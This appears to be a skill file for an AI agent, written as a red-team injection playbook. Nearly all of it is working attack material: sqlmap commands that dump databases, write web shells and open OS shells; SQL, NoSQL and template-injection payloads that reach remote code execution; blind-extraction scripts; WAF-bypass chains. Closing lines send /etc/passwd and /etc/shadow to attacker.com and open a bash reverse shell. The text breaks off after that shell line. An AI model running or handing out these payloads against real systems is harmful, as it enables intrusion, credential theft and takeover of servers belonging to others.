---
name: rt-exploit-injection
description: "Injection attacks skill. Covers SQL injection (MySQL, PostgreSQL, MSSQL, Oracle), NoSQL injection (MongoDB), SSTI (Jinja2/Twig/FreeMarker), Command injection, LDAP injection, and XPath injection. Includes sqlmap automation, manual payloads, blind techniques, WAF bypass, and database-specific exploitation."
---

# rt-exploit-injection — Injection Attacks Skill

## 1. Overview

Injection attacks occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. Injection flaws are consistently ranked in the OWASP Top 10 and are among the most impactful vulnerability classes in web application security.

This skill covers the full injection attack surface:

| Injection Type | Target | Impact |
|---|---|---|
| SQL Injection | Relational databases (MySQL, PostgreSQL, MSSQL, Oracle, SQLite) | Data exfiltration, auth bypass, RCE |
| NoSQL Injection | MongoDB, CouchDB, Redis | Auth bypass, data dump |
| SSTI | Template engines (Jinja2, Twig, FreeMarker, Smarty, Pebble) | RCE, file read |
| Command Injection | OS shell via application | Full RCE |
| LDAP Injection | Directory services | Auth bypass, user enumeration |
| XPath Injection | XML-based data stores | Auth bypass, data exfiltration |

---

## 2. Skill Levels

### BEGINNER

Focus: Identify injection points, run automated tools, understand output.

**Prerequisites:**
- Basic understanding of HTTP requests and responses
- Burp Suite Community installed and configured
- sqlmap installed (`pip install sqlmap` or Kali default)
- Python 3.x available

**Goals:**
- Run sqlmap against a URL and extract database names
- Identify SSTI with probe strings
- Test for basic command injection in form fields

---

### INTERMEDIATE

Focus: Manual payload construction, blind injection techniques, chaining vulnerabilities.

**Prerequisites:**
- Comfortable reading HTTP traffic in Burp Suite
- Understanding of SQL syntax across at least one DB engine
- Familiarity with base64/encoding concepts

**Goals:**
- Extract data via time-based and boolean-based blind SQLi
- Exploit SSTI to read files and execute commands
- Bypass simple WAF rules with encoding

---

### ADVANCED

Focus: WAF bypass, out-of-band (OOB) exfiltration, second-order injection, polyglot payloads.

**Prerequisites:**
- Strong understanding of multiple DB engines
- Experience with custom HTTP headers and request manipulation
- Familiarity with DNS-based OOB techniques

**Goals:**
- Exfiltrate data via DNS/HTTP OOB channels
- Identify and exploit second-order SQLi
- Build custom sqlmap tamper scripts
- Exploit injection in JSON/XML/GraphQL contexts

---

### EXPERT

Focus: Novel bypass techniques, exploitation of hardened targets, full chain to RCE, post-exploitation via injection.

**Prerequisites:**
- Deep understanding of database internals
- Experience with custom exploit development
- Familiarity with Burp Suite Pro extensions

**Goals:**
- Exploit injection in stored procedures and triggers
- Chain SQLi to OS-level RCE (MSSQL xp_cmdshell, MySQL UDF, PostgreSQL COPY TO)
- Develop novel WAF bypass polyglots
- Perform lateral movement using database link servers

---

## 3. SQL Injection — Step-by-Step Attack Workflow

### Phase 1: Reconnaissance and Injection Point Discovery

**Step 1: Identify injection candidates**

Look for user-controlled input that reaches the database:
- URL parameters: `?id=1`, `?search=foo`, `?category=books`
- POST body parameters: form fields, JSON keys
- HTTP headers: `Cookie`, `X-Forwarded-For`, `Referer`, `User-Agent`
- Path parameters: `/user/1/profile`

```bash
# Spider the target with Burp Suite and export all requests
# Or use gau to collect historic URLs
gau https://target.com | grep "=" | tee urls.txt

# Use waybackurls for historical endpoints
waybackurls target.com | grep "=" | sort -u | tee wayback_params.txt

# Identify parameters with arjun
arjun -u https://target.com/api/search -t 10 -o arjun_output.json

# Check for injectable headers with dalfox
dalfox url https://target.com/page?id=1 --header "X-Forwarded-For: FUZZ"
```

**Step 2: Manual probe — error-based detection**

Insert characters that break SQL syntax and observe errors:

```
# Single quote probe
https://target.com/item?id=1'

# Double quote probe
https://target.com/item?id=1"

# Comment probe (MySQL)
https://target.com/item?id=1--+
https://target.com/item?id=1#

# Comment probe (MSSQL/Oracle/PostgreSQL)
https://target.com/item?id=1--

# Arithmetic probe (no error = no reflection; difference = injectable)
# Original: id=1 → some result
# Test:     id=2-1 → same result = arithmetic evaluated = injectable
https://target.com/item?id=2-1
```

**Step 3: Confirm injection with boolean-based probe**

```sql
-- True condition (should return normal page)
?id=1 AND 1=1--+

-- False condition (should return empty/different page)
?id=1 AND 1=2--+

-- String context
?name=foo' AND '1'='1
?name=foo' AND '1'='2
```

**Step 4: Determine database type**

```sql
-- MySQL
?id=1 AND SLEEP(0)--+            -- No delay (confirm syntax accepted)
?id=1 AND version() LIKE '8%'--+ -- Check version

-- PostgreSQL
?id=1; SELECT pg_sleep(0)--      -- PostgreSQL syntax
?id=1 AND 'a'='a'--

-- MSSQL
?id=1; WAITFOR DELAY '0:0:0'--   -- MSSQL syntax

-- Oracle
?id=1 AND ROWNUM=1--
?id=1 AND 1=1 FROM DUAL--

-- Generic fingerprint via error messages
' AND 1=CONVERT(int, @@version)--   -- MSSQL
' AND 1=(SELECT 1 FROM dual)--      -- Oracle
' AND 1=version()--                 -- MySQL
```

---

### Phase 2: Automated Exploitation with sqlmap

#### BEGINNER sqlmap Commands

```bash
# Basic GET request scan
sqlmap -u "https://target.com/item?id=1" --dbs

# Basic POST request scan
sqlmap -u "https://target.com/login" --data "username=admin&password=test" --dbs

# Scan with Burp Suite captured request
# Save request from Burp as req.txt (right-click → Save item)
sqlmap -r req.txt --dbs

# Extract tables from specific database
sqlmap -u "https://target.com/item?id=1" -D target_db --tables

# Extract columns from specific table
sqlmap -u "https://target.com/item?id=1" -D target_db -T users --columns

# Dump table data
sqlmap -u "https://target.com/item?id=1" -D target_db -T users --dump

# Dump specific columns
sqlmap -u "https://target.com/item?id=1" -D target_db -T users -C "username,password,email" --dump
```

#### INTERMEDIATE sqlmap Commands

```bash
# Scan with custom cookie (authenticated session)
sqlmap -u "https://target.com/dashboard?report=1" \
  --cookie "PHPSESSID=abc123; auth_token=xyz789" \
  --dbs

# Scan JSON body
sqlmap -u "https://target.com/api/search" \
  --data '{"query":"test","page":1}' \
  --content-type "application/json" \
  --dbs

# Scan with custom headers
sqlmap -u "https://target.com/api/user" \
  --headers "Authorization: Bearer eyJhbGc..." \
  --dbs

# Force specific DBMS (faster, fewer false probes)
sqlmap -u "https://target.com/item?id=1" --dbms=mysql --dbs

# Use specific injection technique
# B=Boolean-based, E=Error-based, U=UNION, S=Stacked, T=Time-based, Q=Inline-query
sqlmap -u "https://target.com/item?id=1" --technique=BEUST --dbs

# Increase risk and level for deeper testing
sqlmap -u "https://target.com/item?id=1" --level=5 --risk=3 --dbs

# Test specific parameter only
sqlmap -u "https://target.com/item?id=1&cat=books" -p id --dbs

# Skip URL encoding
sqlmap -u "https://target.com/item?id=1" --skip-urlencode --dbs

# Test headers for injection
sqlmap -u "https://target.com/" \
  --headers "X-Forwarded-For: *" \
  -p "X-Forwarded-For" \
  --dbs

# Blind injection with custom string matching
sqlmap -u "https://target.com/item?id=1" \
  --string "Welcome" \
  --dbs

# Error-based with custom not-found string
sqlmap -u "https://target.com/item?id=1" \
  --not-string "No results" \
  --dbs

# Crack dumped password hashes
sqlmap -u "https://target.com/item?id=1" \
  -D target_db -T users --dump \
  --passwords

# Use threads for speed
sqlmap -u "https://target.com/item?id=1" \
  --threads=10 \
  --dbs
```

#### ADVANCED sqlmap Commands

```bash
# WAF bypass with tamper scripts
sqlmap -u "https://target.com/item?id=1" \
  --tamper=space2comment,between,randomcase \
  --dbs

# Full WAF bypass tamper chain (aggressive)
sqlmap -u "https://target.com/item?id=1" \
  --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,symboliclogical,unionalltounion,unmagicquotes \
  --dbs

# OOB exfiltration via DNS (requires Burp Collaborator or interactsh)
sqlmap -u "https://target.com/item?id=1" \
  --technique=Q \
  --dns-domain=YOUR_COLLABORATOR_DOMAIN \
  --dbs

# Second-order injection (store payload, trigger via different endpoint)
sqlmap -u "https://target.com/register" \
  --data "username=*&email=test@test.com" \
  --second-url "https://target.com/profile" \
  --dbs

# Proxy through Burp for traffic review
sqlmap -u "https://target.com/item?id=1" \
  --proxy=http://127.0.0.1:8080 \
  --dbs

# Batch mode (no prompts, useful for automation)
sqlmap -u "https://target.com/item?id=1" \
  --batch \
  --dbs

# Read files from server (MySQL requires FILE privilege)
sqlmap -u "https://target.com/item?id=1" \
  --file-read=/etc/passwd

# Write files to server (requires write permission)
sqlmap -u "https://target.com/item?id=1" \
  --file-write=./webshell.php \
  --file-dest=/var/www/html/shell.php

# Get OS shell (MSSQL: xp_cmdshell; MySQL: UDF; PostgreSQL: COPY)
sqlmap -u "https://target.com/item?id=1" \
  --os-shell

# Custom injection marker in POST body
sqlmap -u "https://target.com/api" \
  --data '{"id": "*", "action": "view"}' \
  --content-type "application/json" \
  --dbs

# Crawl and auto-test all forms
sqlmap -u "https://target.com/" \
  --crawl=3 \
  --forms \
  --batch \
  --dbs

# Save session and resume
sqlmap -u "https://target.com/item?id=1" \
  --session-file=./sqli_session.sqlite \
  --dbs

# Flush session and restart
sqlmap -u "https://target.com/item?id=1" \
  --flush-session \
  --dbs
```

#### EXPERT sqlmap Commands

```bash
# Custom Python tamper script
# Save as custom_tamper.py in sqlmap/tamper/
cat > /usr/share/sqlmap/tamper/custom_tamper.py << 'EOF'
#!/usr/bin/env python
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replace spaces with /**/ and encode SELECT as SeLeCt
    """
    if payload:
        payload = payload.replace(" ", "/**/")
        payload = payload.replace("SELECT", "SeLeCt")
        payload = payload.replace("UNION", "UnIoN")
    return payload
EOF

# Use custom tamper
sqlmap -u "https://target.com/item?id=1" \
  --tamper=custom_tamper \
  --dbs

# Exploit stacked queries to enable xp_cmdshell (MSSQL)
sqlmap -u "https://target.com/item?id=1" \
  --dbms=mssql \
  --technique=S \
  --os-cmd="whoami" \
  --batch

# PostgreSQL COPY TO for RCE
sqlmap -u "https://target.com/item?id=1" \
  --dbms=postgresql \
  --os-shell \
  --batch

# Hex-encode entire payload to bypass string filters
sqlmap -u "https://target.com/item?id=1" \
  --tamper=charencode,hex2char \
  --dbs

# Test for injection in XML/SOAP body
sqlmap -u "https://target.com/soap" \
  --data '<?xml version="1.0"?><root><id>*</id></root>' \
  --content-type "text/xml" \
  --dbs

# Multipart form data
sqlmap -u "https://target.com/upload" \
  --data "field1=value&inject=*" \
  --multipart \
  --dbs
```

---

### Phase 3: Manual SQL Payloads by Database Type

#### MySQL Manual Payloads

```sql
-- Version detection
' AND 1=1 UNION SELECT @@version,null--+
' AND 1=1 UNION SELECT version(),null--+

-- Current DB
' UNION SELECT database(),null--+

-- List all databases
' UNION SELECT GROUP_CONCAT(schema_name),null FROM information_schema.schemata--+

-- List tables in database
' UNION SELECT GROUP_CONCAT(table_name),null FROM information_schema.tables WHERE table_schema=database()--+

-- List columns
' UNION SELECT GROUP_CONCAT(column_name),null FROM information_schema.columns WHERE table_name='users'--+

-- Dump data (adjust column count with null padding)
' UNION SELECT username,password FROM users--+

-- Dump with hex encoding (bypass quote filters)
' UNION SELECT username,password FROM users WHERE username=0x61646d696e--+

-- Read file
' UNION SELECT LOAD_FILE('/etc/passwd'),null--+

-- Write file (webshell)
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--+

-- Stacked query UDF load (RCE)
'; CREATE TABLE tmp (data BLOB);
INSERT INTO tmp VALUES (LOAD_FILE('/tmp/udf.so'));
SELECT data FROM tmp INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
SELECT sys_exec('id > /tmp/pwned');--+

-- Time-based blind (1 second delay if true)
' AND SLEEP(1)--+
' AND IF(1=1,SLEEP(1),0)--+
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(1),0)--+

-- Boolean-based blind (extract DB name char by char)
' AND SUBSTRING(database(),1,1)='t'--+
' AND ASCII(SUBSTRING(database(),1,1))>100--+
' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5--+

-- Error-based (extractvalue)
' AND extractvalue(1,concat(0x7e,(SELECT database())))--+
' AND extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())))--+

-- Error-based (updatexml)
' AND updatexml(1,concat(0x7e,(SELECT database())),1)--+

-- OOB via LOAD_FILE with UNC (Windows MySQL)
' AND LOAD_FILE(concat('\\\\',database(),'.attacker.com\\share'))--+

-- Bypass quote with char()
' UNION SELECT char(114,111,111,116),null--+
```

#### PostgreSQL Manual Payloads

```sql
-- Version
' UNION SELECT version(),null--
'; SELECT version()--

-- Current database and user
' UNION SELECT current_database(),current_user--

-- List databases
' UNION SELECT string_agg(datname,','),null FROM pg_database--

-- List tables
' UNION SELECT string_agg(tablename,','),null FROM pg_tables WHERE schemaname='public'--

-- List columns
' UNION SELECT string_agg(column_name,','),null FROM information_schema.columns WHERE table_name='users'--

-- Dump data
' UNION SELECT username,password FROM users--

-- Read file (superuser required)
' UNION SELECT pg_read_file('/etc/passwd'),null--

-- Write file via COPY TO (superuser)
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'--

-- Execute OS command via COPY FROM PROGRAM (PostgreSQL 9.3+, superuser)
'; COPY cmd_output FROM PROGRAM 'id'--
'; CREATE TABLE cmd_out(output text); COPY cmd_out FROM PROGRAM 'id'; SELECT * FROM cmd_out--

-- Time-based blind
'; SELECT pg_sleep(1)--
' AND 1=(SELECT 1 FROM pg_sleep(1))--
'; SELECT CASE WHEN (1=1) THEN pg_sleep(1) ELSE pg_sleep(0) END--

-- Boolean-based blind
' AND 1=(SELECT 1 FROM pg_catalog.pg_tables WHERE tablename='users' LIMIT 1)--
' AND (SELECT SUBSTRING(current_database(),1,1))='t'--

-- Stacked queries (if allowed)
'; INSERT INTO logs(data) VALUES('pwned')--

-- OOB via dblink extension
'; SELECT dblink_connect('host=attacker.com user=a password=a dbname=a')--

-- OOB via copy to program
'; COPY (SELECT current_database()) TO PROGRAM 'curl http://attacker.com/?d=$(cat /etc/passwd|base64)'--

-- Error-based
' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS INT)--
```

#### MSSQL Manual Payloads

```sql
-- Version
' UNION SELECT @@version,null--
'; SELECT @@version--

-- Current DB and user
' UNION SELECT DB_NAME(),SYSTEM_USER--

-- List databases
' UNION SELECT name,null FROM master.sys.databases--
' UNION SELECT STRING_AGG(name,','),null FROM master.sys.databases--

-- List tables
' UNION SELECT STRING_AGG(table_name,','),null FROM information_schema.tables--

-- List columns
' UNION SELECT STRING_AGG(column_name,','),null FROM information_schema.columns WHERE table_name='users'--

-- Dump data
' UNION SELECT username,password FROM users--

-- Enable xp_cmdshell (requires sysadmin)
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--

-- Execute OS command
'; EXEC xp_cmdshell 'whoami'--
'; EXEC xp_cmdshell 'powershell -enc BASE64ENCODEDCOMMAND'--

-- Read file
'; BULK INSERT tmpTable FROM 'C:\Windows\System32\drivers\etc\hosts'--

-- Write file via xp_cmdshell
'; EXEC xp_cmdshell 'echo ^<?php system($_GET["cmd"]); ?^> > C:\inetpub\wwwroot\shell.php'--

-- Time-based blind
'; WAITFOR DELAY '0:0:5'--
'; IF (1=1) WAITFOR DELAY '0:0:5'--
'; IF (SELECT COUNT(*) FROM users)>0 WAITFOR DELAY '0:0:5'--

-- Boolean-based blind
'; IF (SELECT SUBSTRING(DB_NAME(),1,1))='m' SELECT 1--
'; IF EXISTS(SELECT * FROM users WHERE username='admin') SELECT 1--

-- Stacked queries
'; INSERT INTO log_table(data) VALUES('test')--

-- OOB via xp_dirtree (triggers DNS lookup)
'; EXEC master..xp_dirtree '\\attacker.com\share'--
'; EXEC master..xp_fileexist '\\attacker.com\share'--

-- OOB via OpenRowset
'; SELECT * FROM OPENROWSET('SQLOLEDB','server=attacker.com;uid=sa;pwd=pass','SELECT 1')--

-- Linked server lateral movement
'; SELECT * FROM LINKEDSERVER.database.schema.table--
'; EXEC ('xp_cmdshell ''whoami''') AT LINKEDSERVER--

-- Error-based
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--

-- Bypass quotes with CHAR()
' UNION SELECT CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110),null--

-- sp_password to hide from logs
'; EXEC sp_password null,'newpass','admin'--
```

#### Oracle Manual Payloads

```sql
-- Version
' UNION SELECT banner,null FROM v$version--
' UNION SELECT version,null FROM v$instance--

-- Current user and database
' UNION SELECT user,global_name FROM global_name--

-- List tables (current user)
' UNION SELECT table_name,null FROM user_tables--

-- List all tables (DBA access)
' UNION SELECT table_name,null FROM all_tables--

-- List columns
' UNION SELECT column_name,null FROM all_columns WHERE table_name='USERS'--

-- Dump data
' UNION SELECT username,password FROM users--

-- Must use FROM DUAL for single-row selects
' UNION SELECT 'test',null FROM DUAL--

-- Time-based blind (heavy query)
' AND 1=(SELECT COUNT(*) FROM all_objects,all_objects,all_objects)--
' OR 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE(('a'),5)=1--

-- Boolean-based blind
' AND SUBSTR((SELECT user FROM DUAL),1,1)='S'--
' AND (SELECT COUNT(*) FROM user_tables)>10--

-- Error-based (CTXSYS.DRITHSX.SN)
' AND 1=CTXSYS.DRITHSX.SN(user,(SELECT user FROM DUAL))--
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))--

-- OOB via UTL_HTTP (requires network ACL)
' UNION SELECT UTL_HTTP.request('http://attacker.com/?d='||user),null FROM DUAL--

-- OOB via UTL_FILE
' UNION SELECT null,null FROM DUAL WHERE 1=(SELECT UTL_FILE.FOPEN('DIR','file.txt','W') FROM DUAL)--

-- Read file via UTL_FILE
'; DECLARE f UTL_FILE.FILE_TYPE; s VARCHAR2(200);
BEGIN f := UTL_FILE.FOPEN('/etc','passwd','R');
UTL_FILE.GET_LINE(f,s); DBMS_OUTPUT.PUT_LINE(s);
UTL_FILE.FCLOSE(f); END;--

-- Java stored procedure for RCE (DBA required)
'; EXEC DBMS_JAVA.GRANT_PERMISSION('PUBLIC','SYS:java.io.FilePermission','<<ALL FILES>>','execute')--
```

---

### Phase 4: Blind SQL Injection Techniques

#### Time-Based Blind — Extract Data Character by Character

```python
#!/usr/bin/env python3
"""
Time-based blind SQL injection data extractor.
Adjust TARGET, PARAM, QUERY, and SLEEP_THRESHOLD as needed.
"""
import requests
import time
import string

TARGET = "https://target.com/item"
PARAM = "id"
SLEEP_SEC = 3
THRESHOLD = SLEEP_SEC - 0.5
CHARSET = string.printable

def check_char(position, char, db_type="mysql"):
    payloads = {
        "mysql": f"1 AND IF(SUBSTRING(({{}}}),{position},1)='{char}',SLEEP({SLEEP_SEC}),0)--+",
        "mssql": f"1; IF SUBSTRING(({{}}}),{position},1)='{char}' WAITFOR DELAY '0:0:{SLEEP_SEC}'--",
        "pgsql": f"1; SELECT CASE WHEN SUBSTRING(({{}}}),{position},1)='{char}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END--"
    }

    query = "SELECT database()"  # Change to your target query
    payload = payloads[db_type].format(query)

    params = {PARAM: payload}
    start = time.time()
    try:
        requests.get(TARGET, params=params, timeout=SLEEP_SEC + 5)
    except requests.exceptions.Timeout:
        return True
    elapsed = time.time() - start
    return elapsed >= THRESHOLD

def extract_data(max_length=50, db_type="mysql"):
    result = ""
    for pos in range(1, max_length + 1):
        found = False
        for char in CHARSET:
            if check_char(pos, char, db_type):
                result += char
                print(f"[+] Position {pos}: {char} → Current: {result}")
                found = True
                break
        if not found:
            print(f"[*] No character found at position {pos}. Stopping.")
            break
    return result

if __name__ == "__main__":
    print("[*] Starting time-based blind SQLi extraction")
    data = extract_data(db_type="mysql")
    print(f"\n[+] Extracted: {data}")
```

#### Boolean-Based Blind — Binary Search Approach

```python
#!/usr/bin/env python3
"""
Boolean-based blind SQL injection with binary search (faster than linear).
"""
import requests

TARGET = "https://target.com/item"
PARAM = "id"
TRUE_CONDITION = "Welcome"  # String present when condition is TRUE

def is_true(payload):
    params = {PARAM: payload}
    r = requests.get(TARGET, params=params)
    return TRUE_CONDITION in r.text

def extract_char(query, position):
    """Binary search for ASCII value of character at position."""
    low, high = 32, 126
    while low <= high:
        mid = (low + high) // 2
        payload = f"1 AND ASCII(SUBSTRING(({query}),{position},1))>{mid}--+"
        if is_true(payload):
            low = mid + 1
        else:
            payload = f"1 AND ASCII(SUBSTRING(({query}),{position},1))={mid}--+"
            if is_true(payload):
                return chr(mid)
            high = mid - 1
    return None

def extract_string(query, max_length=100):
    result = ""
    for i in range(1, max_length + 1):
        char = extract_char(query, i)
        if char is None:
            break
        result += char
        print(f"\r[+] Extracted so far: {result}", end="", flush=True)
    print()
    return result

if __name__ == "__main__":
    query = "SELECT database()"
    print(f"[*] Extracting: {query}")
    data = extract_string(query)
    print(f"[+] Result: {data}")
```

---

## 4. NoSQL Injection

### MongoDB Injection Payloads

#### Authentication Bypass

```javascript
// Login form with JSON body
// Original: {"username": "admin", "password": "secret"}

// Bypass with $ne operator
{"username": "admin", "password": {"$ne": "invalid"}}

// Bypass with $gt operator
{"username": "admin", "password": {"$gt": ""}}

// Bypass with $regex
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}

// Bypass with $where (JavaScript execution)
{"username": "admin", "$where": "this.password.length > 0"}

// In URL-encoded form parameters
username=admin&password[$ne]=invalid
username[$regex]=.*&password[$ne]=invalid
username[$gt]=&password[$gt]=

// In JSON with comment injection
{"username": "admin", "password": "x", "$comment": "injection"}
```

#### Data Exfiltration via NoSQL Injection

```javascript
// Extract usernames using $regex (binary search approach)
// Test if username starts with 'a'
{"username": {"$regex": "^a"}, "password": {"$ne": "x"}}

// Extract all documents matching pattern
{"username": {"$regex": ".*"}, "password": {"$ne": "x"}}

// Blind extraction script
```

```python
#!/usr/bin/env python3
"""MongoDB NoSQL injection blind data extraction."""
import requests
import string

TARGET = "https://target.com/api/login"
TRUE_INDICATOR = "dashboard"

def test_payload(regex_pattern):
    payload = {
        "username": {"$regex": regex_pattern},
        "password": {"$ne": "invalid"}
    }
    r = requests.post(TARGET, json=payload)
    return TRUE_INDICATOR in r.text

def extract_username(max_length=50):
    charset = string.ascii_letters + string.digits + "_@."
    result = ""
    for _ in range(max_length):
        found = False
        for char in charset:
            pattern = f"^{result}{char}"
            if test_payload(pattern):
                result += char
                print(f"[+] Found so far: {result}")
                found = True
                break
        if not found:
            break
    return result

if __name__ == "__main__":
    print("[*] Extracting first username via NoSQL regex injection")
    username = extract_username()
    print(f"[+] Username: {username}")
```

#### MongoDB Operator Injections

```
# $where with JavaScript (if JS engine enabled)
?filter={"$where": "function(){return true;}"}
?filter={"$where": "sleep(1000)"}  # Time-based

# $lookup injection (MongoDB aggregation)
?stage={"$lookup":{"from":"users","localField":"id","foreignField":"_id","as":"data"}}

# Object injection in ORMs
# Mongoose lean() bypass
?populate={"path":"users","select":"password"}

# In PHP with array parameters
?username[]=admin&username[][$ne]=x  (converts to {"username": ["admin", {"$ne": "x"}]})
```

---

## 5. Server-Side Template Injection (SSTI)

### Detection Methodology

**Step 1: Inject universal probe strings**

```
# Mathematical expressions (if rendered, SSTI confirmed)
{{7*7}}           → 49 (Jinja2, Twig)
${7*7}            → 49 (FreeMarker, some others)
<%= 7*7 %>        → 49 (ERB)
#{7*7}            → 49 (Ruby)
*{7*7}            → 49 (Spring/Thymeleaf)
${{7*7}}          → 49 (some configurations)
{{7*'7'}}         → 7777777 (Jinja2 specific — multiplies string)
{{7*'7'}}         → 49 (Twig specific — arithmetic)

# Use this decision tree to fingerprint engine:
# 1. {{7*7}}  → 49? → Yes → Jinja2 or Twig
#    Then: {{7*'7'}} → 7777777 = Jinja2 | 49 = Twig
# 2. ${7*7}  → 49? → Yes → FreeMarker or Velocity
# 3. No execution → try ERB, Smarty, Pebble
```

**Step 2: Confirm and fingerprint with engine-specific payloads**

```
# Jinja2 fingerprint
{{config}}                          → reveals Flask config object
{{config.items()}}                  → all config key-value pairs
{{request.environ}}                 → WSGI environ

# Twig fingerprint
{{_self.env}}                       → Twig environment object
{{_self.env.getExtensions()}}

# FreeMarker fingerprint
${.data_model}
${.version}                         → FreeMarker version

# Smarty fingerprint
{$smarty.version}
{php}echo phpinfo();{/php}          → Smarty 3 (if PHP tags enabled)
```

### Jinja2 SSTI Exploitation Chain

```python
# Basic code execution
{{7*7}}
{{''.__class__.__mro__[1].__subclasses__()}}

# Full RCE payload — walk MRO to find subprocess.Popen
# Step 1: Get string's MRO
{{''.__class__.__mro__}}
# Output: (<class 'str'>, <class 'object'>)

# Step 2: Get all subclasses of object
{{''.__class__.__mro__[1].__subclasses__()}}
# Find index of subprocess.Popen in the list (varies by Python version)

# Step 3: Execute command (adjust index to match subprocess.Popen position)
{{''.__class__.__mro__[1].__subclasses__()[SUBPROCESS_INDEX]('id',shell=True,stdout=-1).communicate()}}

# One-liner to find Popen index
{{''.__class__.__mro__[1].__subclasses__()|selectattr('__name__','equalto','Popen')|list|first}}

# Alternative using config and os
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Alternative using request.application
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Read files
{{''.__class__.__mro__[1].__subclasses__()[FILE_CLASS_INDEX]('/etc/passwd').read()}}

# Using cycler (common in CTF/real engagements)
{{cycler.__init__.__globals__.os.popen('id').read()}}

# Using joiner
{{joiner.__init__.__globals__.os.popen('id').read()}}

# Using namespace (Jinja2 2.10+)
{{namespace.__init__.__globals__.os.popen('id').read()}}

# Lipsum (Flask/Jinja2 global)
{{lipsum.__globals__['os'].popen('id').read()}}
```

#### Jinja2 WAF Bypass Payloads

```python
# Bypass attribute access filters using attr() filter
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

# Bypass using string concatenation
{{'o'+'s'|attr('popen')('id')|attr('read')()}}

# Bypass __class__ filter with alternative
{{request['__cl'+'ass__']}}
{{request|attr('__class__')}}

# Bypass using dict access
{{''['\x5f\x5fclass\x5f\x5f']}}

# Bypass with format strings
{{'{0}'.format(7*7)}}

# Bypass with |safe filter
{{'id'|safe}}  # Not useful alone but chains with others

# Filter bypass using request object
{{request.environ['REQUEST_METHOD']}}
{{request.environ.get('HTTP_USER_AGENT')}}

# Full sandbox escape for Jinja2 with filters active
{% for c in []['__class__']['__base__']['__subclasses__']() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c()._module.__builtins__ %}
    {% if b[0] == '__import__' %}
      {{b[1]('os').system('id')}}
    {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
```

### Twig SSTI Exploitation

```php
# Read file
{{'/etc/passwd'|file_get_contents}}

# Code execution via filter
{{'id'|system}}
{{['id']|map('system')|join}}

# Using _self for code execution
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

# Twig 1.x
{{_self.env.enableDebug()}}
{{_self.env.isDebug()}}

# Via extensions
{{_self.env.getExtension('Symfony\Bridge\Twig\Extension\TranslationExtension').trans("id")}}
```

### FreeMarker SSTI Exploitation

```
# Basic RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${"freemarker.template.utility.Execute"?new()("id")}

# Read file
${.data_model.get("password")}
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader", ob("java.io.InputStreamReader", ob("java.io.FileInputStream", "/etc/passwd")))>
<#list 0..1000 as _>
  <#assign line=br.readLine()!false>
  <#if line == false><#break></#if>
  ${line}
</#list>

# RCE via classloader
${"".class.forName("java.lang.Runtime").getMethod("exec","".class).invoke("".class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
```

---

## 6. Command Injection

### Detection Payloads

```bash
# Time-based detection (safe, no output needed)
; sleep 5
| sleep 5
& sleep 5
&& sleep 5
`sleep 5`
$(sleep 5)
;sleep${IFS}5
%0asleep%205

# Output-based detection (look for result in response)
; id
| id
& id
&& id
`id`
$(id)
; whoami
| whoami

# Concatenation to bypass simple filters
; sl''eep 5
| sl`echo e`ep 5
; ${IFS}id

# Windows command injection
& whoami
| whoami
&& whoami
; whoami
`whoami`
$(whoami)
%0awhoami
%0d%0awhoami
cmd /c whoami
powershell -c "whoami"
```

### Blind Command Injection Exploitation

```bash
# DNS-based OOB detection (use Burp Collaborator or interactsh)
; nslookup COLLABORATOR_DOMAIN
; curl http://COLLABORATOR_DOMAIN
; wget http://COLLABORATOR_DOMAIN
; ping -c 1 COLLABORATOR_DOMAIN

# Exfiltrate data via DNS
; nslookup $(whoami).COLLABORATOR_DOMAIN
; host $(cat /etc/passwd | head -1 | base64 | tr -d '\n').COLLABORATOR_DOMAIN

# Exfiltrate via HTTP
; curl http://attacker.com/$(whoami)
; curl -d "$(cat /etc/passwd)" http://attacker.com/exfil
; wget -O- http://attacker.com/$(id | base64)

# Exfiltrate with data encoding to handle special chars
; curl "http://attacker.com/?d=$(id | base64 -w 0)"
; curl "http://attacker.com/?d=$(cat /etc/shadow | base64 -w 0 | tr '+/=' '-_.') "

# Establish reverse shell
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
